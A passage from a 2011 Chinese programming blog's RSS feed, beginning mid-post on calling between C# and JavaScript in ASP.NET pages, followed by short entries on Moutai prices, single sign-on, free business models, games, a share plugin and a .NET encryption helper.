c#代码：&nbsp;<br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " />
<div class="wp_codebox" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: #eeefe6; border-left-style: solid; border-left-width: 3px; border-left-color: #4da9c2; border-top-style: dashed; border-top-width: 1px; border-top-color: #bbbbbb; border-right-style: dashed; border-right-width: 1px; border-right-color: #bbbbbb; border-bottom-style: dashed; border-bottom-width: 1px; border-bottom-color: #bbbbbb; font-family: Verdana, Helvetica, 微软雅黑, Arial, 宋体, sans-serif; background-position: initial initial; background-repeat: initial initial; ">
<pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "><span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; color: blue; ">protected void </span>Button1_Click(<span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; color: blue; ">object </span>sender, <span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; color: #2b91af; ">EventArgs </span>e)
{
ClientScript.RegisterStartupScript(<span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; color: blue; ">this</span>.GetType(), <span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; color: #a31515; ">"clear"</span>, <span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; color: #a31515; ">"&lt;script&gt;test()&lt;/script&gt;"</span>);
}</pre>
</div>
<br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " />
<span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; font-size: 12pt; "><span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; font-size: 14pt; ">
<h3 style="margin-top: 5px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 5px; padding-right: 0px; padding-bottom: 5px; padding-left: 5px; font-weight: bold; color: #ffffff; background-color: #668b8b; font-size: large; "><span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; font-size: 14pt; ">2.javascript中调用c#方法</span></h3>
<br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " />
</span><span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; font-size: 10pt; ">如果c#中的方法有返回值，可以用下面方法&nbsp;<br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " />
c#代码&nbsp;<br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " />
</span>
<div class="wp_codebox" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: #eeefe6; border-left-style: solid; border-left-width: 3px; border-left-color: #4da9c2; border-top-style: dashed; border-top-width: 1px; border-top-color: #bbbbbb; border-right-style: dashed; border-right-width: 1px; border-right-color: #bbbbbb; border-bottom-style: dashed; border-bottom-width: 1px; border-bottom-color: #bbbbbb; font-family: Verdana, Helvetica, 微软雅黑, Arial, 宋体, sans-serif; background-position: initial initial; background-repeat: initial initial; ">
<pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "><span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; color: blue; ">public string </span>GetAuthStatus()
{
ViewState[<span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; color: #a31515; ">"Auth"</span>] = <span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; color: #a31515; ">"Red"</span>;
<span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; color: blue; ">return </span>ViewState[<span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; color: #a31515; ">"Auth"</span>].ToString();
}</pre>
</div>
<br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " />
<span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; font-size: 10pt; ">javascript代码&nbsp;<br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " />
<div class="wp_codebox" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: #eeefe6; border-left-style: solid; border-left-width: 3px; border-left-color: #4da9c2; border-top-style: dashed; border-top-width: 1px; border-top-color: #bbbbbb; border-right-style: dashed; border-right-width: 1px; border-right-color: #bbbbbb; border-bottom-style: dashed; border-bottom-width: 1px; border-bottom-color: #bbbbbb; font-family: Verdana, Helvetica, 微软雅黑, Arial, 宋体, sans-serif; background-position: initial initial; background-repeat: initial initial; ">
<pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "><span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; color: blue; ">&lt;</span><span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; color: #a31515; ">script </span><span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; color: red; ">type</span><span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; color: blue; ">="text/javascript" </span><span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; color: red; ">language</span><span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; color: blue; ">="javascript"&gt;
function </span>getAuth()
{
<span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; color: blue; ">var </span>authStatus = <span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; color: #a31515; ">"&lt;%=GetAuthStatus()%&gt;"</span>;
<span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; color: blue; ">return </span>authStatus;
}
<span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; color: blue; ">&lt;/</span><span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; color: #a31515; ">script</span><span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; color: blue; ">&gt;</span></pre>
</div>
<br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " />
如果在javascript调用的c#方法没有返回值，可以在一面中放一个button，然后在button的单击事件中去写想做的事情，在客户端的脚本中写下如下代码就可以了&nbsp;<br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " />
<div class="wp_codebox" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: #eeefe6; border-left-style: solid; border-left-width: 3px; border-left-color: #4da9c2; border-top-style: dashed; border-top-width: 1px; border-top-color: #bbbbbb; border-right-style: dashed; border-right-width: 1px; border-right-color: #bbbbbb; border-bottom-style: dashed; border-bottom-width: 1px; border-bottom-color: #bbbbbb; font-family: Verdana, Helvetica, 微软雅黑, Arial, 宋体, sans-serif; background-position: initial initial; background-repeat: initial initial; ">
<pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">document.all(<span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; color: #a31515; ">"button1"</span>).click();</pre>
</div>
</span></span></span><br />
<div class="MySignatureBoard" style="padding-top: 10px; padding-right: 10px; padding-bottom: 10px; padding-left: 10px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 14px; line-height: 24px; min-height: 31px; overflow-x: hidden; overflow-y: hidden; word-wrap: break-word; word-break: break-all; "> <img alt="Logo" src="http://www.cppblog.com/images/cppblog_com/gezidan/17469/r_Rixu_net(245_100).png" style="padding-top: 10px; padding-right: 10px; padding-bottom: 10px; padding-left: 10px;border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; margin-left: 10px; margin-right: 10px; margin-top: 10px; margin-bottom: 10px; float: left; width: 245px; height: 100px; " />
<div id="MySignature" style="padding-top: 10px; padding-right: 10px; padding-bottom: 10px; padding-left: 255px; margin-top: 10px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-width: 2px; border-right-width: 2px; border-bottom-width: 2px; border-left-width: 2px; border-color: #4371a6; background-image: url(http://www.xxx.com/bk.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; background-position: 15px 50%; background-repeat: no-repeat no-repeat; "> <span style="color: #333333; line-height: 21px; ">作者：<a href="http://www.rixu.net" style="text-decoration: none; color: #000000; line-height: 24px; cursor: pointer; outline-style: none; outline-width: initial; outline-color: initial; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-bottom-width: 1px; border-bottom-style: dotted; border-bottom-color: #333333; " target="_blank">Gezidan</a></span>
<div style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; line-height: 25px; "> <span style="color: #333333; line-height: 21px; ">出处：<a href="http://www.rixu.net" style="text-decoration: none; color: #000000; line-height: 24px; cursor: pointer; outline-style: none; outline-width: initial; outline-color: initial; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-bottom-width: 1px; border-bottom-style: dotted; border-bottom-color: #333333; " target="_blank">http://www.rixu.net</a>　　　　</span></div>
<div style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; line-height: 25px; "> <span style="color: #333333; line-height: 21px; ">本文版权归作者和博客园共有，欢迎转载，但未经作者同意必须保留此段声明，且在文章页面明显位置给出原文连接，否则保留追究法律责任的权利。</span></div>
</div>
</div>
<br />
本文转载自&nbsp;http://www.cnblogs.com/oec2003/archive/2007/11/23/969638.html
<img src ="http://www.cppblog.com/gezidan/aggbug/156974.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-09-27 16:41 <a href="http://www.cppblog.com/gezidan/archive/2011/09/27/156974.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>茅台再涨200元</title><link>http://www.cppblog.com/gezidan/archive/2011/09/27/156941.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Tue, 27 Sep 2011 03:06:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/09/27/156941.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/156941.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/09/27/156941.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/156941.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/156941.html</trackback:ping><description><![CDATA[<span class="Apple-style-span" style="color: #333333; font-family: 宋体; line-height: 24px; background-color: #ffffff; ">　　据《广州日报》报道 目前53度飞天茅台的超市零售价已经涨至1680元/瓶，较之前依旧涨了200元。而本月16日，发改委价格司、经贸司、价监局共同召开年内第二次白酒价格座谈会，要求行业协会及茅台、五粮液、泸州老窖、古井贡酒等骨干企业，要保障市场供应、稳定价格、不能再出现涨价现象，并加强对经销商的管理。会后，茅台承诺不调整出厂价。<br />
<br />
发改委&#8220;约谈&#8221;完了，茅台酒价格还是&#8220;华丽&#8221;地涨了。据新华网消息，&#8220;约谈后茅台的出厂价是不能涨了，但零售终端的价格是由市场决定的。&#8221; 北京市一茅台代理商表示，年初53度飞天茅台的出厂价由499元涨至619元，虽然出厂价只涨了一次，但截至目前，市场零售价却已经涨了四五轮，从1099元一路涨到1680元。</span><div class="MySignatureBoard" style="padding-top: 10px; padding-right: 10px; padding-bottom: 10px; padding-left: 10px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 14px; line-height: 24px; min-height: 31px; overflow-x: hidden; overflow-y: hidden; word-wrap: break-word; word-break: break-all; "> <img alt="Logo" src="http://www.cppblog.com/images/cppblog_com/gezidan/17469/r_Rixu_net(245_100).png" style="padding-top: 10px; padding-right: 10px; padding-bottom: 10px; padding-left: 10px;border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; margin-left: 10px; margin-right: 10px; margin-top: 10px; margin-bottom: 10px; float: left; width: 245px; height: 100px; " />
<div id="MySignature" style="padding-top: 10px; padding-right: 10px; padding-bottom: 10px; padding-left: 255px; margin-top: 10px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-width: 2px; border-right-width: 2px; border-bottom-width: 2px; border-left-width: 2px; border-color: #4371a6; background-image: url(http://www.xxx.com/bk.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; background-position: 15px 50%; background-repeat: no-repeat no-repeat; "> <span style="color: #333333; line-height: 21px; ">作者：<a href="http://www.rixu.net" style="text-decoration: none; color: #000000; line-height: 24px; cursor: pointer; outline-style: none; outline-width: initial; outline-color: initial; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-bottom-width: 1px; border-bottom-style: dotted; border-bottom-color: #333333; " target="_blank">Gezidan</a></span>
<div style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; line-height: 25px; "> <span style="color: #333333; line-height: 21px; ">出处：<a href="http://www.rixu.net" style="text-decoration: none; color: #000000; line-height: 24px; cursor: pointer; outline-style: none; outline-width: initial; outline-color: initial; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-bottom-width: 1px; border-bottom-style: dotted; border-bottom-color: #333333; " target="_blank">http://www.rixu.net</a>　　　　</span></div>
<div style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; line-height: 25px; "> <span style="color: #333333; line-height: 21px; ">本文版权归作者和博客园共有，欢迎转载，但未经作者同意必须保留此段声明，且在文章页面明显位置给出原文连接，否则保留追究法律责任的权利。</span></div>
</div>
</div><img src ="http://www.cppblog.com/gezidan/aggbug/156941.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-09-27 11:06 <a href="http://www.cppblog.com/gezidan/archive/2011/09/27/156941.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>单点登录在项目中的实现</title><link>http://www.cppblog.com/gezidan/archive/2011/09/27/156938.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Tue, 27 Sep 2011 02:54:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/09/27/156938.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/156938.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/09/27/156938.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/156938.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/156938.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 最近在做一个登录功能，纠结了好几天，一直在找一个能优雅的实现单点登录的功能。博客园有看到某人写了又臭又长的八股文式的文章，没看到有价值的东西。<br>其实单点登录最终要解决的是多个不同域名间共享cookie的问题。但是要在不同域名间共享cookie是一件很困难的事情，要在某个域名下面种cookie就必须访问该<br>域名。网上有很多方法，看到的有动态创建iframe实现，在iframe里面访问某个域名的页面种下cookie，该方法需要写一些js代码，写起来有点累，所以我最终<br>选择了用页面跳转来实现，想不到效果比我预期的好很多，浏览器几乎看不出来有跳转的痕迹。&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/09/27/156938.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/156938.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-09-27 10:54 <a href="http://www.cppblog.com/gezidan/archive/2011/09/27/156938.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>免费商业模式完全指南</title><link>http://www.cppblog.com/gezidan/archive/2011/09/27/156928.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Tue, 27 Sep 2011 01:18:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/09/27/156928.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/156928.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/09/27/156928.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/156928.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/156928.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 　　编者按：Future Simple是一家为小商户开发在线软件的公司，其创始人兼CEO Uzi Shmilovici撰写了这篇文章。这篇文章是基于芝加哥大学布斯商学院(University of Chicago Booth School of Business)经济学教授Eric Budish的一项研究，并结合了Andreessen-Horowitz的风险合伙人和斯坦福商学院教授Peter Levine的观点和意见所作。&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/09/27/156928.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/156928.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-09-27 09:18 <a href="http://www.cppblog.com/gezidan/archive/2011/09/27/156928.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>史上最佳十大游戏排名</title><link>http://www.cppblog.com/gezidan/archive/2011/09/27/156927.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Tue, 27 Sep 2011 01:15:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/09/27/156927.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/156927.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/09/27/156927.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/156927.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/156927.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要:         据国外媒体报道，随着游戏行业的不断扩大，每位玩家都能获取自己希望购买的心仪游戏。棒透了的独立游戏也总是不断出现。然而，那些系列性的游戏却能使我们成为永久的“回头客”。它们用一个接一个的好游戏不断轰击我们，在世界范围内赢得了无数玩家。&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/09/27/156927.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/156927.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-09-27 09:15 <a href="http://www.cppblog.com/gezidan/archive/2011/09/27/156927.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>教你如何在博客里加入分享功能——分享插件（HRshare）</title><link>http://www.cppblog.com/gezidan/archive/2011/09/26/156815.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Mon, 26 Sep 2011 02:14:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/09/26/156815.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/156815.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/09/26/156815.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/156815.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/156815.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 　　下面我要用到的插件是我自己写的，关于插件地址是：jquery.HooRay——自己做的一个jquery常用工具插件。关于分享插件的制作流程我也写了篇文章，有兴趣的可以看下：自己写的一个分享按钮的插件（可扩展，内附开发制作流程）<br>　　闲话不多说，进入正题吧，大家可以看下文章最后是不是有一排分享的按钮，那个就是最终的效果了，当然不止那一种效果，一共有以下几种效果，分别是：&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/09/26/156815.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/156815.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-09-26 10:14 <a href="http://www.cppblog.com/gezidan/archive/2011/09/26/156815.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>.NET中的加密算法总结(自定义加密Helper类)</title><link>http://www.cppblog.com/gezidan/archive/2011/09/26/156806.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Mon, 26 Sep 2011 01:48:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/09/26/156806.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/156806.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/09/26/156806.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/156806.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/156806.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要:         相信许多人都使用过.NET提供的加密算法，而且在使用的过程我们必须了解每种加密算法的特点（对称或非对称，密钥长度和初始化向量等等）。我也看到过很多人写过.NET中加密算法总结，但我发现个别存在一些问题，很多人喜欢罗列每种加密算法的具体实现，假设我们要求实现AES和Triple DES加密算法，的确可以很多地分别给出它们的具体实现。<br>       那我们真的有必要给出每个加密算法的具体实现吗？而且这样的设计不符合OOP设计思想，最重要的是我们要维护多个加密算法啊！OK接下来让我们实行一个可扩展和好维护的加密算法Helper。&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/09/26/156806.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/156806.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-09-26 09:48 <a href="http://www.cppblog.com/gezidan/archive/2011/09/26/156806.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>